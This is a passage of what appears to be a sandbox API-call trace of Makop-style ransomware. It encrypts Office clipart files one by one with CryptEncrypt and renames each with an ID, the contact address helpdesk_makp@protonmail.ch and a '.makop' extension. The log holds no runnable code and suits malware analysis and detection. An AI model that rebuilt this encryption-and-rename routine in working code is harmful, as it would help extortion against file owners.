Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.765] GetProcessHeap () returned 0x48a0000 [0128.765] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.765] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.765] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.765] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.765] GetProcessHeap () returned 0x48a0000 [0128.766] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.766] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.766] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.766] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.771] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.771] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.771] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe60, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe60, lpOverlapped=0x0) returned 1 [0128.772] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe60, dwBufLen=0xe60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe60) returned 1 [0128.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.772] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe60, lpOverlapped=0x0) returned 1 [0128.772] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.772] SetEndOfFile (hFile=0xf0) returned 1 [0128.779] GetProcessHeap () returned 0x48a0000 [0128.779] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.779] GetProcessHeap () returned 0x48a0000 [0128.779] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.779] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.788] CloseHandle (hObject=0xf0) returned 1 [0128.788] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1 [0128.788] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0128.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.789] GetProcessHeap () returned 0x48a0000 [0128.789] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.789] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.790] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.839] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.839] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.839] GetProcessHeap () returned 0x48a0000 [0128.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.839] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.839] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.839] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.839] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.839] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.840] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.840] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.840] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbbc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbbc, lpOverlapped=0x0) returned 1 [0128.840] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbc0) returned 1 [0128.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.841] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbc0, lpOverlapped=0x0) returned 1 [0128.841] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.841] SetEndOfFile (hFile=0xf0) returned 1 [0128.847] GetProcessHeap () returned 0x48a0000 [0128.847] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.847] GetProcessHeap () returned 0x48a0000 [0128.847] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.847] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.849] CloseHandle (hObject=0xf0) returned 1 [0128.849] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1 [0128.849] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0128.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.850] GetProcessHeap () returned 0x48a0000 [0128.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.850] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0128.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.855] GetProcessHeap () returned 0x48a0000 [0128.855] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.855] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.855] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.855] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.856] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.856] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.856] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.856] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.856] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.856] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.856] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.856] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x128e, lpOverlapped=0x0) returned 1 [0128.858] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1290, dwBufLen=0x1290 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1290) returned 1 [0128.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1290, lpOverlapped=0x0) returned 1 [0128.859] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.859] SetEndOfFile (hFile=0xf0) returned 1 [0128.864] GetProcessHeap () returned 0x48a0000 [0128.864] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.864] GetProcessHeap () returned 0x48a0000 [0128.865] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.865] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.866] CloseHandle (hObject=0xf0) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1 [0128.866] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0128.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.869] GetProcessHeap () returned 0x48a0000 [0128.869] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.869] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0128.874] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.874] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.874] GetProcessHeap () returned 0x48a0000 [0128.874] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.874] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.874] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.874] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.875] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.875] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.875] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.876] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.876] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14ce, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14ce, lpOverlapped=0x0) returned 1 [0128.877] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14d0) returned 1 [0128.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14d0, lpOverlapped=0x0) returned 1 [0128.878] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.878] SetEndOfFile (hFile=0xf0) returned 1 [0128.886] GetProcessHeap () returned 0x48a0000 [0128.886] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.886] GetProcessHeap () returned 0x48a0000 [0128.886] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.886] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.888] CloseHandle (hObject=0xf0) returned 1 [0128.888] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, 